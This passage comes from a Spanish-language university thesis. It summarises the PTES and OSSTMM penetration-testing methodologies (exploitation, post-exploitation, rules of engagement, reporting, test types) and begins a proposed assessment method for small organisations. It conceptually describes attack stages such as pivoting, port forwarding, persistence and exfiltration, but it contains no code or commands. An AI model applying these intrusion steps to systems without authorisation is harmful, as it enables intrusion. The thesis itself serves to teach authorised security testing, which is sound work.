y disponibilidad del mismo.

El PTES considera 3 etapas para el andlisis de vulnerabilidades:
2.4.41 Pruebas

El proceso de pruebas consiste en buscar errores en sistemas o aplicaciones que pudieran
ser aprovechadas por un atacante, como fallas de configuracion o errores en el disefio de

aplicaciones.

La prueba de vulnerabilidades puede dividirse en activa (interaccién necesaria con el objetivo)
y pasiva (sin interaccion con el objetivo). De la misma forma, la interaccion puede ser

automatica (con el uso de herramientas) o manual.

Existen varios tipos de herramientas automatizadas con distintos enfoques en cuanto a la
tecnologia a la que se orientan y al tipo de prueba que ejecutan. Algunas de ellas como
NMAP, OpenVAS, NESSUS, Wireshark, Yersinia, y Burp Suite son verdaderamente Utiles.

2.4.4.2 Validacion

El proceso de validacion consiste en establecer correlaciones entre los resultados que arrojan

las herramientas utilizadas. Se clasifica en correlacion especifica, y correlacion categorica:
» Correlacion especifica.

Hace referencia a una vulnerabilidad concreta, ya sea un error conocido en un software o una
vulnerabilidad indexada en una base de datos (CVE, OSVDB, etc.).

» Correlacion categorica.
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Se relaciona con estructuras categoricas que permiten agrupar elementos por macro
factores, como tipos de vulnerabilidades, errores de configuracion, etc. Un ejemplo seria
agrupar todos los equipos encontrados con contrasefias por defecto, en el grupo de
complejidad de las contrasefias dentro de la NIST 800-53 (IA-5) (The Penetration Testing

Execution Standard, s/f).

Por ultimo, es necesario considerar todos los vectores de ataque, para lo que se recomienda
la elaboracion de arboles de ataque, los que ademas de servirnos de guia para la fase

siguiente, nos seran de gran utilidad para la fase de reporte (Marti & Lloret, 2016).
2.4.4.3 Investigacion

Luego que se ha descubierto una vulnerabilidad, es necesario identificarla con exactitud y
estimar la posibilidad de ocurrencia y el dafio potencial dentro del alcance del test. Existen
varias herramientas que nos facilitan la labor de investigacion, como las bases de datos de
vulnerabilidades, las guias de fortificacion, sitios web y foros especializados. También
debemos revisar los equipos y sistemas en busca de fallas de configuracion, contrasefias y
configuraciones por defecto. En algunos casos resultaran ser vulnerabilidades conocidas, y
en otros casos podran ser errores humanos como fallas de configuracion, contrasefias por

defecto, entre otras.

El objetivo de esta fase es priorizar las vulnerabilidades encontradas segun su gravedad y
organizarlas en un arbol de ataque que nos servira en la fase de explotacion (Marti & Lloret,
2016).

2.4.5 Explotacion

Esta fase se enfoca en establecer acceso a un sistema o recurso pasando por alto sus
seguridades, por lo que su objetivo principal es encontrar una entrada a la infraestructura de
la organizacion e identificar sus activos de mayor valor. Si la fase anterior se ejecutd de

manera adecuada, esta fase debera estar bien planificada y ejecutarse sin problemas.

Al ejecutar un exploit, es necesario considerar varios factores como las seguridades y
contramedidas (firewalls, IDS, IPS, medidas preventivas, etc) que se han implementado en la
organizacion para prevenir este tipo de ataques. Por lo que, si queremos continuar
inadvertidos, debemos considerar métodos alternativos de explotacién. En el mejor de los
casos, deberiamos haber enumerado (técnicas de enumeracioén) a priori, las contramedidas

y seguridades.

Dicho esto, es facil darse cuenta la cantidad de escenarios posibles para un ataque. Cada

organizacion posee distintas tecnologias, sistemas, hardware, politicas de seguridad y utiliza
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distintas contramedidas. Cada caso es distinto. Por tal motivo y con el objeto de ser exitosos
en esta fase, es necesario desarrollar una estrategia a la medida, basada en cada escenario.

La intencion de un pentest es simular un ataque real, por consiguiente, no se busca explotar
todas las vulnerabilidades encontradas, ya que resultaria ruidoso y alertaria al equipo de
seguridad. Este enfoque es util al final de la prueba de penetracién ya que nos permite
comprobar la capacidad de respuesta del equipo de seguridad. En la mayoria de los casos,
la fase de explotacién se orienta en la acumulacién de investigacion especifica de un objetivo

(The Penetration Testing Execution Standard, s/f).

Una herramienta esencial para esta fase es Metasploit Framewaork, aunque también podemos
ayudarnos de herramientas similares, bases de datos de vulnerabilidades o servicios de

acceso remoto como SSH o VNC.

Finalmente, debemos ser muy cautelosos a la hora de ejecutar un exploit, sobre todo si es
descargado de internet, ya que podria hacer mas de lo que dice hacer. Sin querer, podriamos
estar provocando dafios irreparables en los equipos y sistemas de una organizacion por lo
gue se recomienda primero, realizar pruebas de los exploits descargados, en un ambiente
controlado (Marti & Lloret, 2016).

2.46 Post Explotacion

La fase de post explotacion consiste en valorar el equipo comprometido, basandose en la
criticidad de la informacién contenida dentro de este, y la utilidad del equipo para
comprometer los recursos de red mas adelante. Los métodos descritos en esta fase estan
disefiados para ayudar al auditor a identificar informacién sensible, ajustes de configuracion,
y relaciones con los recursos de red que nos podrian ser Gtiles para mejorar el método de

intrusion y la calidad del test.
2.4.6.1 Reglas de compromiso (Rules of engagement)

Las reglas del compromiso son especificas de esta fase y estan disefiadas para asegurarse
gue los sistemas del cliente no estan sujetos a riesgos innecesarios por las acciones del

auditor. Como linea base, nos provee las siguientes recomendaciones:
» Proteger al cliente

1. A menos que se haya acordado previamente, no se madificaran servicios que el cliente
considere “criticos” para su infraestructura. La unica justificacion valida para la

modificacion de los servicios, sera para demostrar al cliente, en que forma un atacante
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podria escalar privilegios, obtener acceso a informacion especifica, o causar

denegacion de servicio.

2. Todas las modificaciones en las configuraciones de los sistemas deben ser
documentados. Finalizado el test o el propésito del cambio, los mismos deben ser
devueltos a la normalidad y se debera entregar una lista al cliente con todos los

cambios restituidos y con aquellos que no se pudieron devolver a su estado normal.

3. Se debe mantener una lista con todas las acciones tomadas a los sistemas
comprometidos. Esta lista debe incluir, la informacion del equipo, la accién y el tiempo
en que incurrié la accion. La lista debera ser entregada al final del test a manera de

apéndice.

4. Toda la informacién (privada o personal) obtenida en el test, serd utilizada para

conseguir mas permisos y ejecutar acciones relacionadas con el test, tnicamente si:

a) La Politica de Uso Aceptable del cliente establece que todos los sistemas y la
informacion contenida dentro de los mismos son propiedad del cliente.

b) La Politica de Uso Aceptable establece que todo equipo conectado a la red del

cliente se considera con consentimiento de ser analizado.

c) El cliente tiene confirmacién que todos sus empleados han leido y comprendido

la Politica de Uso Aceptable.

5. Ninguna de las contrasefias obtenidas sera incluida en el reporte final, con el fin de

resguardar la confidencialidad e integridad de la informacién y los sistemas.

6. Cualquier método, herramienta o dispositivo utilizado por el auditor que pudiera alterar
la operacién normal de los sistemas, no podra ser implementado sin el consentimiento

previo del cliente.

7. La informacién recolectada y que se almacena en el equipo utilizado por el auditor,

debe ser encriptada.

8. La informacion sensible, presentada en el reporte, debe ser enmascarada a traves de

métodos que impidan su recuperacion.

9. Toda la informacion recopilada en la prueba seré destruida, posterior a la aceptacion
del cliente del reporte final. EI método y las pruebas de la destruccién seran

entregados al cliente.
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Si la recopilacion de datos esta restringida por la ley de alguna forma, el auditor

Unicamente proveera prueba de acceso a esa informacion.

No se compartird ningun tipo de informacion ni se utilizara servicios de terceros para

password cracking, sin el consentimiento previo del cliente.

Si al ejecutar la prueba, se encuentra evidencia de que los sistemas del cliente han
sido comprometidos previamente, la evidencia respectiva serd entregada de manera

inmediata al cliente, quien determinara las acciones siguientes.

Ningun log sera eliminado, saneado o modificado a menos que asi lo haya solicitado
el cliente. De serlo, se realizaran copias de seguridad de los logs, previo a cualquier

cambio.
Proteger al equipo auditor

Asegurate que, en el contrato de trabajo, las acciones y métodos aplicados a los
sistemas objeto de la prueba, son en nombre y en representacion del cliente.

Solicita una copia de la Politica de seguridad o Politica de uso aceptable de la
empresa, previo a la ejecucion del test. Asegurate que la politica cubre la propiedad y
derechos de la informacion, uso personal de equipos y almacenamiento de

informacion de los empleados.
Encripta los drives y equipos que contienen informacion sobre el cliente.

Discute y establece con el cliente, el procedimiento a seguir en el caso de encontrar
evidencia de ataques previos 0 sistemas previamente comprometidos por parte de

terceros.

Revisa regulaciones y restricciones existentes sobre la captura y almacenamiento de
datos (y demas actividades a ejecutarse), dentro del marco legislativo que rige sobre

la organizacion.

2.4.6.2 Andlisis de lainfraestructura

Un equipo comprometido contiene informacién valiosa que nos puede servir para identificar
configuraciones de la red, protocolos que utilizan y los servicios g consumen. Lo que debemos

revisar en este punto son:

Configuraciones de red
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Interfaces, direccién IP, sub red, puertas de enlace. Esta informacién nos puede a su vez,
servir de apoyo para identificar protocolos de ruteo, servidores DNS, servidores proxy,

entradas ARP, etc.
» Servicios de red

Es necesario identificar los servicios de red que consume y ofrece el host comprometido. De
esta forma podriamos descubrir servicios que no fueron detectados en la etapa de escaneo,
y establecer relaciones con otros recursos de red que podrian resultar relevantes. También

es necesario examinar conexiones VPN, servicios de directorio y los vecinos disponibles.
2.4.6.3 Expoliacién

Esta actividad se refiere a obtener informacion de diversas fuentes, que pudiera resultar
relevante para el test. EI PTES considera fuentes de informacién critica, las siguientes:
programas instalados, servicios instalados, recursos compartidos, servidores de base de
datos, servidores de directorio, autoridades -certificadoras configuradas en el equipo,
servidores DHCP, virtualizacién, mensajeria, sistemas de respaldo, capturas de trafico de
red, de pantalla y pulsaciones de teclado, informaciéon de usuario, configuraciones del
sistema, politicas de seguridad, etc.

2.4.6.4 Intrusion profunda

Consiste en utilizar el sistema comprometido para enumerar y obtener acceso en otros
sistemas del cliente. Esto se puede lograr a través de lo que se conoce como footprinting
interno, para lo que podriamos ejecutar herramientas locales o cargadas en el host, ARP
scans, pig sweep, enumeracion interna de servicios, ataques de fuerza bruta, ejecucion de
exploits. También podriamos utilizar el host comprometido como proxy o VPN para la red
interna, ejecutar port forwarding o exploits de manera remota. Las acciones tomadas en esta

actividad dependeran de los requerimientos del test y los riesgos asociados.
246.5 Limpieza

Una vez concluido el test, es necesario hacer un saneamiento de los sistemas de la siguiente

manera:

e Remover todos lo ejecutables, scripts y temporales de los hosts comprometidos. De

ser posible, utilizar herramientas de eliminacion segura de archivos.

e Devolver a su estado original, los parametros de configuracién del sistema y las

aplicaciones en el caso que hayan sido modificadas durante el test.

¢ Remover los backdoor y rootkits instalados.
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e Eliminar los usuarios creados en los sistemas durante el test.
2.4.7 Reportes

Aunque es altamente recomendable que cada equipo auditor o pentester desarrolle su propio
formato de reporte con informacion personalizada de acuerdo a cada prueba realizada, esta
fase provee criterios basicos que permitan presentar un trabajo entendible y de valor para el

cliente. Para esto, el PTES desglosa el reporte final en 2 documentos:
» Resumen ejecutivo

Describe los objetivos especificos y los hallazgos del test en un nivel alto. Esta dirigido a
guienes estan a cargo de la vision y la estrategia de la organizacién y del programa de
seguridad, por lo que no deberia contener muchos detalles técnicos, sino mas bien enfocarse
en como los problemas encontrados pueden afectar el negocio. También es una buena

practica incluir referencias al reporte técnico por si se requiere ahondar en detalles.
El PTES recomienda incluir en el resumen ejecutivo, siempre que sea posible, los siguientes:
1. Antecedentes

Presenta el propoésito general del test, al igual que los objetivos relacionados al riesgo,

contramedidas y a la ejecucién del test. Los cambios también se incluyen en esta seccion.
2. Situacion general

Descripcion general de la efectividad de la ejecucion del test, y la habilidad del equipo de
auditoria para conseguir los objetivos planteados en las fases iniciales. Se puede incluir una

descripcion general y breve de las faltas identificadas y el posible impacto al negocio.
3. Perfil de riesgo

En esta seccion se identificara, describird y explicara la calificacion, perfil o ranking general
del riesgo obtenido en el test. El método de calificacién sera definido entre el cliente y el

equipo auditor, en la primera fase del test.
4. Hallazgos generales

Esta sesion presentara una sinopsis de los problemas encontrados durante el test en un
formato basico y estadistico. indices de efectividad y métricas de todo tipo, que se hayan

definido en la primera fase del test, pueden incluirse en esta seccion.

5. Recomendaciones
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Esta seccion debera proveer un alto nivel de entendimiento del proceso requerido para
resolver los riesgos identificados, asi como también un nivel general del esfuerzo necesario

para implementar la solucién sugerida.
6. Hoja de ruta estratégica

Para la hoja de ruta es necesario elaborar un plan de remediacion de los problemas
encontrados, asignarles un peso o prioridad basandose en el impacto potencial y el objetivo
del negocio. Para esto es necesario tomar de referencia la matriz de riesgos elaborada en la
fase de modelado de amenazas. La hoja de ruta es una guia a seguir, ya que desglosa los

objetivos en actividades y estima tiempos de cumplimiento.
» Reporte Técnico

Comunica los detalles técnicos del test y todos los aspectos acordados como indicadores

clave de éxito en la primera fase del test. El PTES recomienda las siguientes secciones:
1. Introduccién

Sirve de referencia especifica para todos los recursos involucrados y el alcance técnico del

test. Se orienta a ser un inventario inicial de:
e Personal involucrado en el test (equipo auditor y del cliente).
e Informacién de contacto.
e Activos involucrados en el test.
o  Obijetivos del test.
e Alcance del test.
¢ Enfoque.
e Estructura de calificacion de amenazas.
2. Recoleccion de informacién

Lista la informacion (publica y privada) encontrada y los métodos utilizados en la fase de

recoleccién de informacion. Los resultados deben presentarse en 4 categorias:
e Inteligencia pasiva.
e Inteligencia activa.
e Inteligencia corporativa.

e Inteligencia personal.
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3. Evaluacioén de vulnerabilidades

Describe las vulnerabilidades encontradas, el método utilizado, y su clasificacion. La

informacion en esta seccion debe incluir;

¢ Nivel de clasificacion de las vulnerabilidades.

e Vulnerabilidades técnicas.
o Capa OSI.
o Encontradas por escéner.
o ldentificadas manualmente.
o Exposicion general.

e Vulnerabilidades légicas.
o No OSI.
o Tipo de vulnerabilidad.
o Como y donde se encontro.
o Exposicion.

e Resumen de resultados.

4. Confirmacién de explotacion

Describe de forma detallada el proceso realizado para explotar las vulnerabilidades

encontradas previamente, y el nivel de acceso obtenido en el objetivo. También debe

contener lo siguiente:

e Linea de tiempo de explotacion.

e Objetivo seleccionado para explotacion.

e Actividades realizadas para explotacion.

o Ataque directo.
= Objetivos explotados sin éxito.
»= Obijetivos explotados con éxito.
e Informacion del host.

e Ataques realizados.
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e Atagues exitosos.
¢ Niveles de accesos concedidos (via de escalamiento).
e Remediacion.
o Enlace de referencia a la seccion de vulnerabilidades.
o Técnicas adicionales de mitigacion.
o Sugerencias para compensar el control.
o Ataque indirecto.
= Phishing.
e Detalles y linea de tiempo del ataque.
e Obijetivos identificados.
e proporcion éxito / fracaso.
e Niveles de acceso obtenidos.
= Lado del cliente
o Detalles y linea de tiempo del ataque.
¢ Obijetivos identificados.
e proporcion éxito / fracaso.
e Niveles de acceso obtenidos.
= Lado del navegador
e Detalles y linea de tiempo del ataque.
e  Obijetivos identificados.
e proporcién éxito / fracaso.
¢ Niveles de acceso obtenidos.
5. Post explotacion

Es una de las secciones mas importantes ya que se enfoca en asociar las vulnerabilidades y
su capacidad de explotacion, con el riesgo real de negocio. Algunas formas de evidenciarlo
son através de capturas de pantalla y recuperacion de contenido enriquecido. A continuacion,

algunos ejemplos de lo que se debe presentar en esta seccion:
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e Via de escalamiento de privilegios.
o Teécnicas usadas.
e Adquisicion de la informacion critica definida por el cliente.
e Valor de la informacion.
e Acceso a los sistemas Core de negocio.
e Acceso a conjuntos de datos protegidos.
e Sistemas accedidos, informacion adicional.
e Habilidad de persistencia.
e Habilidad de exfiltracion.
e Efectividad de las contramedidas.
o Capacidad de deteccion.
o Firewall / WAF /IDS / IPS
o Humano.
o Prevencion de perdida de informacion (DLP).
o Log
e Respuestay efectividad.
6. Exposicion y riesgo

Se combinan los resultados de la seccion anterior con la valoracion de los riesgos, criticidad
de la informacién, valoracion corporativa, y el impacto del negocio derivado de la primera
fase, con el fin de proveer al cliente una visién de negocio (monetizar) de las vulnerabilidades
encontradas y priorizarlas segin sus objetivos. EI PTES sugiere cubrir los riesgos de la

siguiente forma:
e Evaluar la frecuencia de los incidentes.
o Frecuencia probable del evento.
o Estimar la capacidad de la amenaza (fase 3).
o Estimar la efectividad de los controles (fase 6).
o Vulnerabilidad compuesta (fase 5).

o Nivel de destrezas requerido.
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o Nivel de acceso requerido.

e Estimar la magnitud de las perdidas por incidente.

o Perdida primaria.
o Perdida secundaria.

o Andlisis de la causa raiz del riesgo.

= La causa raiz no es un parche.

= |dentificar procesos fallidos.
¢ Riesgo derivado.
o Amenaza.
o Vulnerabilidad
o Superposicién (Overlap).

7. Conclusiones

Se realiza una revision general del test. Se debe incluir las partes mas importantes y destacar

las mejoras en cuanto a la postura de seguridad del cliente.
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2.5 OSSTMM (The Open Source Security Testing Methodology Manual)

Es una metodologia para la ejecucién de pruebas de seguridad orientada a la medicion de la
seguridad en un nivel operacional. Como metodologia, esta disefiada para ser consistente,
repetible y adaptable a cualquier tipo de auditoria (ethical hacking, evaluacién de riesgo, etc.).
Provee especificaciones detalladas para la ejecucion de pruebas de seguridad sobre los
llamados “canales operacionales” que incluyen Humano, Fisico, Inalambrico,
Telecomunicaciones y Redes de datos, ademas de las instrucciones para la elaboracién de
métricas derivadas (ISECOM, 2010).

Fue creado por el ISECOM (Instituto para la seguridad y metodologias abiertas) en el afio
2001 conjuntamente con la colaboracion de mas de 150 profesionales en seguridad y
contempla, ademas, el cumplimiento de otras normas como ISO, NIST, ITIL, etc., por lo que
lo convierte en un manual completo en el campo de las pruebas de penetracién (Valdez
Alvarado, 2013).

El ISECOM ofrece certificacion y acreditacion de las pruebas realizadas, que sirven como
evidencia de facto de la ejecucién de la prueba y responsabilizan al analista a cargo de su
ejecucion, entre otros. Para esto es necesario cumplir los requerimientos para la elaboracion

del reporte establecidos en el manual y enviarlos al ISECOM para su evaluacion.
2.5.1 Definir el test
El ISECOM establece 7 pasos para definir el test de una manera adecuada.

1. Definir lo que se quiere proteger (activos). Se probaran los controles (mecanismos de

proteccién de los activos) para identificar limitaciones.

2. ldentificar la zona de compromiso (el area alrededor de los activos, mecanismos de

proteccién, procesos, servicios).

3. Definir todo lo necesario para mantener los activos en estado operativo y que se
encuentran fuera del area de compromiso. Esto puede incluir procesos, protocolos,
recursos, contratos, socios comerciales, etc., y factores en los cuales no se pude influir

como electricidad, agua, legislacion, regulaciones, etc.

4. ldentificar los vectores de prueba, al definir las diferentes interacciones dentro del
alcance (por ejemplo, de adentro hacia afuera, de afuera hacia adentro, del

departamento A al departamento B, etc.).

5. Identificar los recursos necesarios para la ejecucion de las pruebas en cada vector y

canal.
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6. Determinar la informacion que quieres obtener del test (definir el tipo de test).

7. Asegurar que la definicion del test estd en cumplimiento con las reglas del

compromiso.

2.5.2 Alcance

Se debe considerar como alcance a todos los posibles ambientes de seguridad operacional,
por cada interaccién con cualquier activo (ISECOM, 2010). Dicho en otras palabras, es

necesario considerar todos los recursos tecnolégicos y sus relaciones con otros activos dentro

y fuera de una organizacion,

el alcance esta determinado por la experticia del auditor, la disponibilidad de recursos y los

requerimientos del cliente.

2.5.3 Canales

El alcance también considera los medios especificos con los que se interactla con los activos.

desde un punto de vista operacional. Sin embargo, en la practica,

OSSTMM los llama canales y su clasificacion se describe en la tabla 6.

Tabla 7. Canales OSSTMM. Fuente: (ISECOM, 2010)

Canal

Descripcioén

Humano

Fisico

Inalambrico

Telecomunicaciones

Redes de datos

Es parte de la seguridad fisica (PHYSSEC) y comprende el
elemento humano de las telecomunicaciones en donde la
interaccion es fisica o psicoldgica

También es parte de la seguridad fisica y comprende los
elementos tangibles de la seguridad y que requieren
interaccion a través de esfuerzo fisico

Es parte de la seguridad del espectro (SPECSEC) vy
comprende las sefales electrdnicas y emanaciones que tienen
lugar en el espectro electromagnético

Es parte de la seguridad de las comunicaciones (COMSEC) y
comprende las redes de telecomunicaciones digitales o
analdgicas

También es parte de la seguridad de las comunicaciones y
comprende todos los sistemas electronicos y redes de datos

254 Tipos de test

OSSTMM define 6 tipos comunes de test que dependen de la cantidad de informacion inicial

del objetivo con la que cuenta el auditor, o de las expectativas del cliente.

» Blind (Ciego)
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El auditor empieza la auditoria sin ningan conocimiento sobre el objetivo o sus defensas. El
objetivo conoce de antemano los detalles de la auditoria. El éxito de esta auditoria depende

mucho del auditor, de sus conocimientos y experiencia.
» Double blind

El auditor comienza el test sin ninguna informacién sobre el objetivo o sus defensas. El
objetivo no es notificado sobre el alcance, los canales o vectores de la prueba. Este tipo de
prueba examina las habilidades del auditor, y la preparacion del objetivo a distintas variables

de agitacion.
» Cajagris

El auditor inicia la prueba con conocimiento total sobre los canales, pero con conocimiento
limitado del objetivo, sus defensas y activos. El objetivo conoce de antemano todos los

detalles relativos a la prueba.
» Doble caja gris

El auditor inicia la prueba con conocimiento total sobre los canales, pero con conocimiento
limitado del objetivo, sus defensas y activos. El objetivo conoce de antemano el alcance y los

tiempos, pero no los canales ni vectores de ataque relativos a la prueba.
» Combinado (Tandem)

El auditor y el objetivo estan preparados para la prueba con conocimiento total de los detalles
relativos a la misma. Se enfoca en poner a prueba las protecciones y controles del objetivo
de manera exhaustiva, sin embargo, no examina la preparacion del objetivo a distintas

variables de agitacion.
» Reversa

El auditor inicia la prueba con total conocimiento de los detalles de seguridad operacional y
los procesos del objetivo. El objetivo desconoce que, como y cuando el auditor ejecutara la
prueba. El objetivo es probar el nivel de respuesta del objetivo a distintas variables y vectores
de agitacion.

255 Reglas del compromiso (Rules of engagement - ROE)

Definen las guias operacionales de practicas aceptables dentro de la ejecucion del test. La
metodologia provee varias recomendaciones para la elaboracion de las ROE, clasificadas en

7 ejes principales que serviran de soporte para ejecutar de manera adecuada el test y evitar

complicaciones futuras. Estos 7 ejes son:
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e Ventas y marketing.
¢ Evaluacion y estimacion de la entrega.
¢ Contratos y negociaciones.
e Definicion del alcance.
e Planificacion del test.
e Ejecucion del proceso.
e Reporte.
2.5.6 Métricas

OSSTMM utiliza el RAV (valor de evaluacién de riesgo) como métrica de seguridad
operacional. EI RAV es una escala de medida de la superficie de ataque, de la cantidad e
interacciones no controladas con el objetivo y se obtiene del balance cuantitativo entre las
operaciones, limitaciones y controles. El RAV no provee informacion sobre si un objetivo
podria ser atacado como lo haria el analisis de riesgo, mas, sirve para conocer en que parte
podria ser atacado, contra que ataques puede defenderse, y que tanto dafio puede causar
(ISECOM, 2010).

En esta escala, un RAV de 100 representa un balance perfecto, menos de 100, la falta de
controles, y mas de 100, mas controles de los necesarios, lo cual aflade interacciones y

complejidad innecesaria en el proceso (Sierra, 2018).

El ISECOM ha provisto en su pagina web una herramienta basada en una hoja de calculo
predisefiada, para la elaboracion de RAVs de manera facil y rapida, en la cual Gnicamente,
se debe ingresar los datos respectivos y la herramienta hard los calculos de manera

automatica.
2.5.7 Fases

La metodologia se basa en el proceso de 4 puntos, el cual descompone cualquier tipo de
prueba, de inicio a fin. Las fases a su vez estan compuestas por modulos especificos que en

conjunto conforman la metodologia, que veremos mas adelante.
1. Induccién

Consiste en el andlisis del entorno de la organizacién. La metodologia clasifica la informacion

obtenida en esta fase de la siguiente forma:
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Revision de la postura: Consiste en la cultura, reglas, normativa, regulaciones,
legislacion y politica que aplica sobre el objetivo, conocer el alcance y que test son

requeridos.

Logistica: Consiste en identificar las restricciones del alcance y sus interacciones, con

el fin de minimizar errores e incrementar la eficiencia.

Verificacion de deteccién activa: La verificacibn de la practica y la amplitud de

deteccion de interacciones.

2. Interaccién

Conocer el alcance en funcién de las interacciones con los objetivos y con los activos.

Consiste en interactuar con el objetivo, obtener repuestas y analizarlas.

Auditoria de visibilidad: Identificar los objetivos existentes y cédmo interactian dentro
del alcance.

Verificacion de acceso: ldentificar los puntos de acceso a la organizacion y la

autenticacion utilizada.

Verificacion de confianza: Conocer las relaciones entre los objetivos para evaluar la

importancia de las interacciones.

Verificacion de control: Identificar los controles establecidos a los procesos, su

vigencia y relevancia.

3. Investigacion

Consiste en identificar las emanaciones del objetivo o las marcas que deja a través de las

interacciones dentro de su ambiente. Se lo realiza a través de:

Verificacion del proceso: Conocer el proceso, como trabaja y sus controles.

Verificacion de la configuracion: Explora las condiciones por defecto bajo las que
regularmente opera un objetivo, con el fin de entender la justificacion de negocio y el

razonamiento sobre los objetivos.

Validacion de la propiedad: Conocer el estado de la organizacién sobre los derechos
de propiedad, el uso ilegal o sin licencia de propiedad intelectual o aplicaciones dentro

del objetivo.

Revision de la segregacion: Conocer los derechos de privacidad que aplican sobre la

informacién personal recuperada en las pruebas.
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Verificacion de la exposicion: Descubrir la informacion disponible sobre el objetivo y
sus activos desde fuentes publicas.

Exploracion de inteligencia competitiva: Identificar procesos u objetivos que puedan

ser mas valiosos que los activos a los cuales protegen.

4. |ntervencion

Consiste en intervenir en los recursos que consume el objetivo desde su ambiente con el fin

de provocar cambios en su comportamiento.

2.5.8

Verificacion de cuarentena: Determina la efectividad de los controles de autenticacion

en términos de listas de cuarentena.

Auditoria de privilegios: Determina la efectividad de los controles de autorizacion en
términos de roles.

Continuidad del servicio: Determina la efectividad de los controles de continuidad a

través de la verificacion de denegacion de servicio.

Encuesta final: Conocer que partes de la auditoria proporcionaron evidencia confiable
y usable.

Una metodologia

Al juntar todos los procesos descritos en cada una de las fases, obtenemos lo que se conoce

como “Una Metodologia”. Esto es un conjunto de procesos y actividades que son aplicables

a todas las pruebas de seguridad, sea el objetivo una persona, un sistema, una ubicacion,

etc., (Sierra, 2018). La metodologia esta representada en el siguiente flujo:
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Figura 2. Una Metodologia. Fuente: OSSTMM

OSSTMM establece el cumplimiento de este flujo para la ejecucion de las pruebas de cada
uno de los canales segun el alcance del test, y provee consideraciones, fuentes, técnicas y

herramientas relevantes para facilitar la labor del auditor.
2.5.9 Pruebas de seguridad

El objetivo general de las pruebas es definir el estado actual de las seguridades en cada uno
de los canales y analizar las brechas entre lo actual y el estdndar requerido por la

organizacion.

> Humano

Martin Fernando Gonzalez Palomeque Pagina 65



AE% UNIVERSIDAD DE CUENCA

AN

=i
Requiere la participacion y la interaccion de las personas con los activos y su objetivo principal

es valorar la conciencia de seguridad del personal y medir la brecha entre la situacion actual

y el estandar sugerido por la empresa (Sierra, 2018).
» Fisico

El objetivo es poner a prueba las seguridades en las barreras fisicas y légicas de la
organizacion, asi como también el personal en custodia de los activos y su interaccion con

las barreras
> Inaldmbrico

Consiste en validar los accesos a los activos a través de la interceptacion y andlisis de sefales

inaldmbricas dentro del espectro electromagnético.
» Telecomunicaciones

Su objetivo es poner a prueba las barreras logicas de la organizacion dentro de los limites de

las telecomunicaciones sobre medios cableados.
> Redes de datos

Consiste en poner a prueba las medidas operacionales de las redes de datos para
salvaguardar la informacion y los activos. Se involucra los sistemas computacionales,

dispositivos electronicos y las redes de datos establecidos en el alcance (ISECOM, 2010).
2.5.10 Reportes con STAR (Security Test Audit Report)

STAR es el reporte de auditoria del test de seguridad. Provee un resumen ejecutivo de alta
precision ya que su particular enfoque permite contrastar lo que se ha testeado con lo que no

se ha testeado.

El ISECOM provee una plantilla que debe ser llenada en su totalidad y enviada al ISECOM
en el caso de solicitar la certificacion del test. La plantilla funciona a manera de cuestionario
en donde se plasma la ejecucion del test siguiendo el flujo de la metodologia de ejecucién de
las fases, y ademas provee informacion relevante como los valores de seguridad operacional,

controles y limitaciones.
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Capitulo Il

Disefio del método

Luego de revisar las metodologias descritas en los capitulos anteriores y obtener un amplio
entendimiento de su orientacién, forma de operar e implementar, es necesario en este punto,
y previo al desarrollo del método propuesto, tener varias consideraciones que nos serviran

de base para elaborar una herramienta adecuada y Gtil para su aplicacion.
3.1 Consideraciones importantes

El método esta orientado a empresas pequefias, privadas y publicas, por lo que debe ser de
cierta forma genérico, adaptable y repetible. Se enfoca a servir de instantanea, en cuanto a
las fallas de seguridad existentes en la infraestructura tecnolégica de una organizacion. Debe
ser relativamente facil de ejecutar y proveer resultados de manera rapida.

Basandonos en el parrafo anterior, se considera importante desarrollar un método practico
orientado al analisis de red (network assessment), basado en un test de caja blanca (de esta
forma se aligera la fase de footprinting) y la utilizacién de herramientas automatizadas, con el
fin de facilitar la labor del auditor y acortar los tiempos de ejecucion de las fases.

3.2 Clasificacion del objetivo

Debido a la variedad de tipos y tamafios de empresas, no es posible desarrollar un método
genérico que sea altamente efectivo para todas ellas. El método propuesto es, de hecho,
aplicable para cualquier infraestructura tecnolégica, sin embargo, en una escala macro,
existen varias otras consideraciones que requieren de soluciones a la medida y que ofrezcan

altos niveles de fiabilidad en sus resultados.

El método propuesto en el presente trabajo ofrece obtener el mejor provecho en 2 tipos de

empresas:
3.21 Empresas pequefas

Chévez Cruz et al., (2018) recopilan varias clasificaciones para el tamafio de las empresas
en su estudio, coincidiendo todas en los criterios de evaluacion utilizados y con resultados

similares. En éste, una empresa pequefia esta constituida por lo siguiente:
e Numero de empleados: entre 11 a 49
¢ Volumen de ventas: Entre $100.000 a $1.000.000 (anualmente)

e Activos Totales: Entre $100.000 a $1.000.000
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Dependiendo de la naturaleza del negocio de la organizacién, algunas empresas contaran
con una direccién de tecnologia o personal técnico capaz de ejecutar el método propuesto.
Para aquellas empresas que no cuenten con profesionales en el &mbito de la tecnologia, el
presente trabajo servira de linea base, y guia para la contratacién de un profesional que
implemente el método desarrollado, a una fraccion del valor econdmico de este tipo de

servicios.
3.2.2 Instituciones publicas

La Constitucién del Ecuador (2008), en el articulo 225, numeral 3, describe una entidad del
sector publico como “Los organismos y entidades creados por la Constitucion o la ley para el
ejercicio de la potestad estatal, para la prestacion de servicios publicos o para desarrollar

actividades econdémicas asumidas por el Estado.”

En este sentido, existe también una gran variedad en el tamafio y tipo de una entidad de
gobierno. En el Ecuador como en la mayoria de paises de Latinoamérica, las entidades
publicas operan con una oficina central y varias oficinas a lo largo del territorio nacional, en
conjunto y de manera articulada. Es en las oficinas centrales generalmente en donde se
encuentran las coordinaciones nacionales y se emiten resoluciones y reglamentos que deben
ser cumplidos y ejecutados por las oficinas territoriales, por lo que existe mayor concentracion

de empleados e infraestructuras fisicas y tecnolégicas mas amplias y sofisticadas.

El método propuesto esta optimizado para aquellas oficinas territoriales, asi como también
para gobiernos auténomos descentralizados y empresas publicas que disponen de

infraestructuras mas modestas y un nimero menor de empleados que una oficina central.
3.3 Analisis comparativo de las metodologias

Con el fin de desarrollar una herramienta util para cada aplicaciébn, vamos a proceder a
realizar una comparacion entre las metodologias previamente analizadas, seleccionando las
técnicas y herramientas que resultan relevantes en cada una de ellas y que puedan aportar
al desarrollo del método propuesto, considerando siempre su enfoque en la ejecucion

practica.

Para ello se ha hecho uso del método de estudio de similitud entre modelos y estandares
(MSSS) (Gasca Hurtado, 2010), el cual establece el siguiente flujo (figura 3) para la

comparacion entre distintos estandares y modelos:
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1. Seleccionar estandares y modelos 6. Identificar la similitud entre mo- 7. Presentar resultados
e Definir criterios de seleccion delos * Presentar informacion estructu-
